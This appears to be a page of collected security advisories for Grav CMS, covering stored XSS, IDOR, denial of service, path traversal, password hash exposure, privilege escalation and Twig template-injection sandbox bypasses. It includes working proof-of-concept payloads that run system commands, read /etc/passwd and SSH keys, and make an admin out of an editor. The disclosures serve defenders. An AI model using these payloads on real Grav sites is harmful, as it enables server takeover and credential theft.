- CWE-79: Improper Neutralization of Input During Web Page Generation - Stored Cross-Site Scripting - Suggested CVSS v4.0 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Suggested CVSS v3.1 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N

Details

The issue appears to come from this source-to-sink flow:

1. ParsedownGravTrait::inlineImage() processes Markdown images. 2. Excerpts::processImageExcerpt() resolves the referenced media object. 3. Excerpts::processMediaActions() parses the image URL query string into media actions. 4. calluserfuncarray() invokes the requested action method on the media object. 5. MediaObjectTrait::attribute() stores the attacker-controlled attribute name and value. 6. The media object returns a Parsedown element containing the injected attribute. 7. Parsedown renders the attribute name into the final HTML.

Relevant code paths:

text system/src/Grav/Common/Markdown/ParsedownGravTrait.php system/src/Grav/Common/Page/Markdown/Excerpts.php system/src/Grav/Common/Media/Traits/MediaObjectTrait.php system/src/Grav/Common/Page/Medium/StaticImageMedium.php system/src/Grav/Common/Page/Medium/ImageMedium.php vendor/erusev/parsedown/Parsedown.php

In system/src/Grav/Common/Markdown/ParsedownGravTrait.php, Markdown image excerpts are passed into Grav-specific media handling:

php if (isset($excerpt['element']['attributes']['src'])) { $excerpt = $this->excerpts->processImageExcerpt($excerpt); }

In system/src/Grav/Common/Page/Markdown/Excerpts.php, query string parameters are converted into media action calls. The query parameter name becomes the method name:

php $carry[] = ['method' => $parts[0], 'params' => $value];

The requested method is later invoked dynamically:

php $medium = calluserfuncarray([$medium, $action['method']], $args);

For the payload:

text attribute=onload,alert(document.domain)

the method is attribute, and the arguments are onload and alert(document.domain).

In system/src/Grav/Common/Media/Traits/MediaObjectTrait.php, attribute() stores the caller-controlled attribute name directly:

php public function attribute($attribute = null, $value = '') { if (!empty($attribute)) { $this->attributes[$attribute] = $value; } return $this; }

The image media classes then return the collected attributes as attributes for an img element.

In system/src/Grav/Common/Page/Medium/StaticImageMedium.php:

php return ['name' => 'img', 'attributes' => $attributes];

The non-static image path in system/src/Grav/Common/Page/Medium/ImageMedium.php also returns image attributes in the same way.

Finally, in vendor/erusev/parsedown/Parsedown.php, the attribute value is escaped, but the attribute name is rendered as-is:

php $markup .= ' '.$name.'="'.self::escape($value).'"';

As a result, the attacker-controlled attribute name onload is emitted into the final HTML and executes as a browser event handler.

The Admin Plugin's save-time XSS detection does not appear to block this because the stored content is Markdown media syntax, not raw HTML:

markdown !Quarterly market overview)

The dangerous HTML is generated later during Markdown/media rendering.

PoC

I reproduced this on a standard Grav CMS installation with the Admin Plugin enabled.

Configuration and prerequisites:

- Grav CMS 1.7.49.5 - Admin Plugin 1.10.49.1 - Markdown processing enabled for pages - A user account with permission to create or edit pages - A page media file available in the edited page folder, for example market-overview.gif

Steps to reproduce:

1. Install Grav CMS with the Admin Plugin. 2. Log in to the Admin panel as a user who can create or edit pages. 3. Create a normal content page or edit an existing one. 4. Add or reference a page media file named market-overview.gif. 5. Insert the following Markdown into the page body:

markdown !Quarterly market overview)

6. Save the page. 7. Open the rendered frontend page in a browser. 8. The JavaScript payload executes when the image loads. 9. Inspect the generated DOM. The rendered image element contains the injected onload attribute.

Expected result:

The Markdown media action should not be able to generate executable HTML attributes. The payload should be rejected, sanitized, or rendered without the dangerous event-handler attribute.

Actual result:

The payload is accepted and rendered as an executable image event handler:

html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?...">

Screenshots:

- the stored Markdown payload in the page editor <img width="1718" height="1013" alt="edycja" src="https://github.com/user-attachments/assets/8f5e5275-e4ef-4d5e-a2cd-44683537b909" /> - the JavaScript alert executing on the frontend page <img width="1727" height="1002" alt="alert" src="https://github.com/user-attachments/assets/6de81228-830c-49f2-ac41-b15658a8913d" /> - browser DevTools showing the injected onload attribute in the rendered DOM <img width="939" height="539" alt="inspect" src="https://github.com/user-attachments/assets/7832c42d-6f3a-4ea2-b072-b837bd3913ed" />

Impact

This is a stored cross-site scripting vulnerability.

An authenticated user with page editing permissions can store a malicious Markdown image reference. When the affected page is rendered, the payload executes in the browser of any user who views that page.

In multi-user Grav installations, this may allow a lower-privileged editor to target administrators, reviewers, or other privileged users who preview or view editor-controlled content. Depending on the victim's privileges and deployed plugins, successful exploitation may allow JavaScript execution in the site origin, access to same-origin page data available to the victim, and same-origin actions performed as the victim.

CVSS 4.0 rationale:

- AV:N: the issue is exploitable through the web application. - AC:L: no special race condition or complex setup is required after page editing access is obtained. - AT:P: exploitation requires the malicious Markdown/media reference to be stored in page content and later rendered to a victim. - PR:H: the attacker needs page editing capability. - UI:P: a victim must view the affected page. The demonstrated onload payload executes on passive page rendering, without requiring a click or form submission by the victim. - VC:H/VI:L/VA:N: confidentiality impact can be high when the victim is an administrator or reviewer; integrity impact is limited; no direct availability impact was demonstrated. - SC:H/SI:L/SA:N: the injected script executes in the browser/application context and may affect subsequent same-origin interactions available to the victim.

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2.

What changed: MediaObjectTrait::attribute() — the sink reached by Markdown like !alt) — now gates the attribute name through an allowlist regex (^[A-Za-z][A-Za-z0-9:.\-]$) plus an explicit denylist of script-context names:

- any on handler (case-insensitive) - style (inline CSS expression risk) - xmlns (XML namespace tricks) - srcdoc (iframe sandbox bypass) - formaction (form action override)

Invalid names are silently dropped — the attribute isn't stored, so it doesn't survive into the rendered <img>. src/href/data-/aria-/standard media attributes are unaffected.

Files: - system/src/Grav/Common/Media/Traits/MediaObjectTrait.php — new isSafeAttributeName() gate. - tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php — 28 cases (14 dangerous-name rejections, 14 safe-name round-trips).

Discoverers

@K-Czaplicki @morzelowski

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
XEE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

Grav CMS v1.7.x and before is vulnerable to XML External Entity (XXE) through the SVG file upload functionality in the admin panel and File Manager plugin.

First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

GravCMS 1.10.7 contains an unauthenticated vulnerability that allows remote attackers to write arbitrary YAML configuration and execute PHP code through the scheduler endpoint. Attackers can exploit the admin-nonce parameter to inject base64-encoded payloads and create malicious custom jobs with system command execution.

First published (updated )

gravXSS

Risk 34
Severity
5.4
XSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

grav before v1.7.49.5 has a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality. An authenticated low-privileged user with permission to edit content can inject malicious JavaScript payloads into editable fields. The payload is stored on the server and later executed when any other user views or edits the affected page.

First published (updated )

gravSSRF

Risk 66
Severity
9.1
SSRF
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary

An IDOR (Insecure Direct Object Reference) vulnerability in the Grav CMS Admin Panel allows low-privilege users to access sensitive information from other accounts. Although direct account takeover is not possible, admin email addresses and other metadata can be exposed, increasing the risk of phishing, credential stuffing, and social engineering.

---

Details

Endpoint: /admin/accounts/users/{username} Tested Version: Grav Admin 1.7.48 Affected Accounts: Authenticated users with 0 privileges (non-privileged accounts)

Description: Requesting another user’s account details (e.g., /admin/accounts/users/admin) as a low-privilege user returns an HTTP 403 Forbidden response. However, sensitive information such as the admin’s email address is still present in the response source, specifically in the <title> tag.

system/src/Grav/Common/Flex/Types/Users/UserCollection.php <img width="700" height="327" alt="Screenshot 2025-08-24 021027" src="https://github.com/user-attachments/assets/7e69ae49-d8fc-442f-b00c-9efaec706b2e" />

system/blueprints/flex/user-accounts.yaml <img width="700" height="300" alt="Screenshot 2025-08-24 020521" src="https://github.com/user-attachments/assets/756631c8-d60b-4b84-a08a-2a9c2f81b41f" />

This is a classic IDOR vulnerability, where object references (usernames) are not properly protected from unauthorized enumeration.

---

PoC

1. Log in as a non-privileged user (0-privilege account). 2. Access another user’s endpoint, for example:

GET /admin/accounts/users/admin 3. Observe the HTTP 403 Forbidden response. 4. Inspect the page source; sensitive data such as the admin email can be seen in the <title> tag.

PoC Video:

https://drive.google.com/file/d/1lYqwqSkN5sPNmHvXGOk6R1mdIgVt71H/view

---

Impact

Type: Information Disclosure via IDOR Who is impacted: Low-privilege authenticated users can enumerate other accounts and extract sensitive metadata (admin emails). Risk: Exposed information can be used for targeted phishing, credential stuffing, brute-force attacks, or social engineering campaigns. Severity Justification: Only a low-privilege account is required, and sensitive metadata is leaked. Arbitrary code execution is not possible, but the information exposure is moderate risk.

---

Disclosure & CVE Request

We request a CVE ID for this vulnerability once validated. Please credit the discovery to:

Elvin Nuruyev Kanan Farzalili

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
XSS, Input Validation, CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Endpoint: admin/config/system Submenu: Languages Parameter: Supported Application: Grav v 1.7.48

---

Summary

A Denial of Service (DoS) vulnerability was identified in the "Languages" submenu of the Grav admin configuration panel (/admin/config/system). Specifically, the Supported parameter fails to properly validate user input. If a malformed value is inserted—such as a single forward slash (/) or an XSS test string—it causes a fatal regular expression parsing error on the server.

This leads to application-wide failure due to the use of the pregmatch() function with an improperly constructed regular expression, resulting in the following error:

pregmatch(): Unknown modifier 'o' File: /system/src/Grav/Common/Language/Language.php line 244

Once triggered, the site becomes completely unavailable to all users.

---

Details

- Vulnerable Endpoint: POST /admin/config/system - Submenu: Languages - Parameter: Supported

The application dynamically constructs a regular expression using the contents of the Supported field without escaping the input using pregquote() or proper validation. This allows attackers to inject invalid syntax into the regex engine, crashing the application during language resolution.

Stack trace excerpt:

Whoops \ Exception \ ErrorException (EWARNING) pregmatch(): Unknown modifier 'o' /system/src/Grav/Common/Language/Language.php244

---

Proof of Concept (PoC)

Payloads:

/

Steps to Reproduce:

1. Log into the Grav Admin Panel. 2. Navigate to: Configuration → System → Languages. 3. Locate the Supported field. 4. Insert one of the payloads above (e.g., a single slash /). 5. Click Save.

<img width="1897" height="639" alt="Pasted image 20250719183223" src="https://github.com/user-attachments/assets/d3a54a20-d30d-46c6-9015-722f80701cfb" />

1. Observe: All pages in the application begin throwing a fatal error and become inaccessible.

<img width="1802" height="998" alt="Pasted image 20250719175229" src="https://github.com/user-attachments/assets/b16750c2-507f-4c30-a9bb-d07fa92bb777" />

---

Impact

- Application-wide Denial of Service (DoS) - All login and admin views crash with the same error - Potentially exploitable by: - Admin panel users - CSRF if misconfigured

---

References

- CWE-1333: Improper Regular Expression - CWE-20: Improper Input Validation

Discoverer

Marcelo Queiroz

by CVE-Hunters

1 / 2
Source: GitHub
First published (updated )
Severity
7.2
Infoleak
AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L

Exposure of Password Hashes Leading to privilege escalation Severity Rating: Medium

Vector: Privilege Escalation

CVE: XXX

CWE: 200 - Exposure of Sensitive Information

CVSS Score: 6.2

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L

Analysis

It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.

An attacker with read access can: View and potentially crack the password hashes. Gain administrative access by cracking the admin password hash. Escalate privileges and compromise the entire admin panel.

Proof of Concept

1) Give read access to user accounts to a random user as shown in the following figures: !grav0 !grav2

2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.

3) Go to the admin profile http://127.0.0.1/admin/accounts/users/admin; The password is not display. Try inspecting the page source code as shown in the following figures: !grav2-1 You can see that it match the hash that is in the admin.yaml file : !Compare to the hash in database of the admin

4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt: !grav3

Workarounds No workaround is currently known

Timeline 2024-07-24 Issue identified

2024-09-27 Vendor contacted

About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.

1 / 2
Source: GitHub
First published (updated )
Severity
4.9
AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

DOS on the admin panel Severity Rating: Medium

Vector: Denial Of Service

CVE: XXX

CWE: 400 - Uncontrolled Resource Consumption

CVSS Score: 4.9

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Analysis

A Denial of Service (DoS) vulnerability has been identified in the application related to the handling of scheduledat parameters. Specifically, the application fails to properly sanitize input for cron expressions. By manipulating the scheduledat parameter with a malicious input, such as a single quote, the application admin panel becomes non-functional, causing significant disruptions to administrative operations.

The only way to recover from this issue is to manually access the host server and modify the backup.yaml file to correct the corrupted cron expression

Proof of Concept

1) Change the value of scheduledat parameter to ' as shown in the following figures at the http://127.0.0.1/admin/tools endpoint, and observe the response in the second figure: !gravdos2 Figure: Http request on tool endpoint !gravdos3 Figure: Http response on tool endpoint

2) When trying to access the admin panel, the panel is broken as shown in the following figure. Additionally, the value change is reflected in the backup.yaml file, as shown in the second figure: !gravdos4 Figure: Error message view !gravdos5 Figure: Backup.yaml file

Workarounds No workaround is currently known

Timeline 2024-07-24 Issue identified

2024-09-27 Vendor contacted

About X41 D-Sec GmbH X41 is an expert provider for application security services. Having extensive industry experience and expertise in the area of information security, a strong core security team of world class security experts enables X41 to perform premium security services.

Fields of expertise in the area of application security are security centered code reviews, binary reverse engineering and vulnerability discovery. Custom research and IT security consulting and support services are core competencies of X41.

1 / 2
Source: GitHub
First published (updated )
Severity
6.8
Path Traversal
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Summary A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of the user account running the application.

PoC To accurately demonstrate the maximum potential impact of this vulnerability, the testing environment was configured in a specific way:

- Elevated Privileges: The application was run locally with the highest possible system privileges, operating under the root user account. - Objective: This configuration was chosen to unequivocally show that the path traversal vulnerability is not just a theoretical issue but can lead to a complete compromise of the underlying host when combined with poor operational practices. The ability to read any file on the system is the ultimate test of the flaw's severity.

Proof of Concept Goal: Under these conditions, the subsequent PoC will exploit the vulnerability to read the SSH private key of the root user (/root/.ssh/idrsa). The successful exfiltration of this key represents a worst-case scenario, as it would provide an attacker with persistent, undetectable, and complete administrative access to the host server. This highlights the critical intersection of an application-layer vulnerability and a infrastructure-level misconfiguration.

1- LOGIN AS ADMIN AND GO TO : http://127.0.0.1/admin/tools/backups 2- Change 'Root Folder' to backup directory /../../../../../../../root/.ssh/

<img width="1902" height="492" alt="Screenshot 2025-09-11 161519" src="https://github.com/user-attachments/assets/23a60dc3-7758-4e24-b910-e66a1dd1f5e2" />

3- CLICK : 'SAVE' 4- CLICK : 'Backup Now'

<img width="1916" height="512" alt="Screenshot 2025-09-11 154151" src="https://github.com/user-attachments/assets/88a63ff2-777e-467e-857b-0644ef698499" />

5- Extract Backup :

<img width="704" height="101" alt="Screenshot 2025-09-11 160114" src="https://github.com/user-attachments/assets/b91ce4db-9843-4280-b8f0-32c73aa12d4d" /> <img width="567" height="101" alt="Screenshot 2025-09-11 160135" src="https://github.com/user-attachments/assets/155ce7d8-c2fc-4b54-b054-f7c7550bec82" />

1 / 2
Source: GitHub
First published (updated )
Severity
9.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Due to a broken access control vulnerability in the /admin/pages/{pagename} endpoint, an editor ( user with full permissions to pages ) can change the functionality of a form after submission.

Details Due to improper authorization checks when modifying critical fields on a POST request to /admin/pages/{pagename}, an editor with only permissions to change basic content on the form is now able to change the functioning of the form through modifying the content of the data[json][header][form] which is the YAML frontmatter which includes the process section which dictates what happens after a user submits the form which include some important actions that could lead to further vulnerabilities.

PoC

- Have Admin and Form plugins installed - Connect to panel as admin, create user and give him permission for pages all - Now connect as that user and notice you cant edit any process field in the panel - Change anything in the content of the form and save - Intercept the request: !image

- Now modify the field data[json][header][form] with the following payload URL-encoded not like this: {"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[{"message":"{{ evaluatetwig(form.value('name')) }}"}]}

- Change the field and forward it: !image

Request goes through and changes have been made to the form. !image

Impact

- Attacker can modify submission logic of the form which leads to changing redirect value, email sending, changing template, breaking out of the Twig sandbox potentially executing code...

Fix recommendation

- Implement proper authorization checks to such requests especially when it contains fields user shouldn't be able to modify based on his role.

1 / 2
Source: GitHub
First published (updated )
Severity
8.5
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Summary

- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form. - This includes Grav user account files - /grav/user/accounts/.yaml. This file stores hashed user password, 2FA secret, and the password reset token. - This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

Details The vulnerability can be found in /user/plugins/form/templates/forms/fields/display/display.html.twig !image

PoC 1. This PoC was conducted on Grav CMS version 1.7.46 and Admin Plugin version 1.10.46 !image

2. go to “http://grav.local/admin/pages” then create new page with “Page Template” option set to “Form”. !image

3. Then go to “Expert” and on Frontmatter input box used to following form template.

!image

4. Save page and go the preview or published page you will see the content of “/etc/passwd” file on the server. !image

Impact This can allow a low privileged user to perform a full account takeover of other registered users including Administrators. This can also allow an adversary to read any file on the web server. And Due to insufficient permission verification , user who can write a page also can use frontmatter feature using this IDOR vulnerability PoC IDOR mention in CVE-2024-2792

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

php $this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safefilters'); if (isarray($allowed) && inarray($name, $allowed, true) && functionexists($name)) { return new TwigFilter($name, $name); } if ($config->get('system.twig.undefinedfilters')) { if (functionexists($name)) { if (!Utils::isDangerousFunction($name)) { usererror("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: system.twig.safefilters", EUSERDEPRECATED);

return new TwigFilter($name, $name); }

/ @var Debugger $debugger / $debugger = $this->grav['debugger']; $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: system.twig.safefilters")); }

return new TwigFilter($name, static function () {}); }

return false; });

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safefilters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

php / Class Twig @package Grav\Common\Twig / class Twig { / @var Environment / public $twig; / @var array / public $twigvars = []; / @var array / public $twigpaths; / @var string / public $template;

// Constructor public function construct(Grav $grav) { $this->grav = $grav; $this->twigpaths = []; }

// Twig initialization method public function init() { if (null === $this->twig) { / @var Config $config / $config = $this->grav['config']; / @var UniformResourceLocator $locator / $locator = $this->grav['locator']; / @var Language $language / $language = $this->grav['language'];

$activelanguage = $language->getActive(); ... } } }

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safefilters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC) An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

twig {% set arr = {'1':'system', '2':'exec'} %} {{ vardump(grav.twig.twigvars['config'].set('system.twig.safefilters', arr)) }} {{ 'id'|system }} {{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

Impact The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.

PoC Create a simple form with two fields, 'registration-number' and 'hp'. Add a submit button and set the method to POST(screenshot attached below). Form name set to 'hero-form'. Send a POST request with the following payload and you will notice a response with a php array listing the whole Grav configuration details - including plugins(screenshot attached).

registration-number:d643aaaa

hp:vJyifp

form-name:hero-form

uniqueformid:{{vardump(context|slice(0,7))}}

!Screenshot 2025-03-25 at 7 26 02 AM

!Screenshot 2025-03-25 at 7 22 58 AM

Impact Server-Side Template (SST) vulnerability. The vulnerability affects the latest Grav version as of 25th of Match 2025 (1.7.48) with all plugins installed (including forms plugin v.7.4.2) to their latest versions as well.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

Details Grav CMS allows Twig to be executed in page templates if enabled in admin panel (process: twig: true). A user with publisher/editor privileges, that can create or edit pages and enable twig processing, can thereby inject arbitrary code that will execute in the context of the page render.

This enables exploitation of Grav internal APIs such as: - grav.user.update() and grav.user.save() for escalating the current user to super admin or admin - grav.scheduler.addCommand(), grav.scheduler.save() and grav.scheduler.run() for code execution

The Twig sandbox is not enforced in this context, allowing full access to any backend PHP object and method in the system/src/Grav/Common directory.

PoC Preconditions: - You must have access to a non-admin user with permission to create/edit pages (admin.pages access) - For Privilege Escalation, you also have to be logged in to the site with the same user as the admin panel.

Steps to reproduce Privilege Escalation: 1. Login into the non-admin page (default at cms-url/login). 2. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 3. Inject the following payload into the page content to escalate privileges: {% set = grav.user.update({ 'access': { 'admin': { 'login': true, 'super': true } } }, {}) %} {% set = grav.user.save() %} 4. Visit the edited/created page url. The logged in user is now admin. (Note: For the changes to show, you need to log out of the admin panel and relogin).

Steps to reproduce Remote Code Execution: 1. Login to the admin panel, create or edit a page and set the Twig processing to true (Advanced -> Process: Twig: true). 2. Inject the following payload into the page content to execute commands: {% set = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %} {% set = grav.scheduler.save() %} {% set = grav.scheduler.run() %} 3. Visit the page to trigger the execution. The system will issue a curl request.

Impact This vulnerability allows: - Privilege Escalation from any user with page editing capabilities to full admin (super) access. - Remote Code Execution, as the attacker can run system arbitrary commands via the scheduler API.

It affects any Grav CMS installation where users with lower privileges are allowed to create or edit pages and Twig processing is not globally disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.

Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials

Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.

PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.

Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.

- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.

- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.

Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.

Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:

php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );

/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);

$form->message = $processedstring; break;

Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:

- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.

php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }

PoC

First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:

php <?php

function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }

$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);

return $string; }

$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");

We can run the program with this payload:

bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"

Our payload goes through and not one malicious function is filtered:

evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')

Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:

- Go to pages - Add a page and create a new form or choose an exiting one

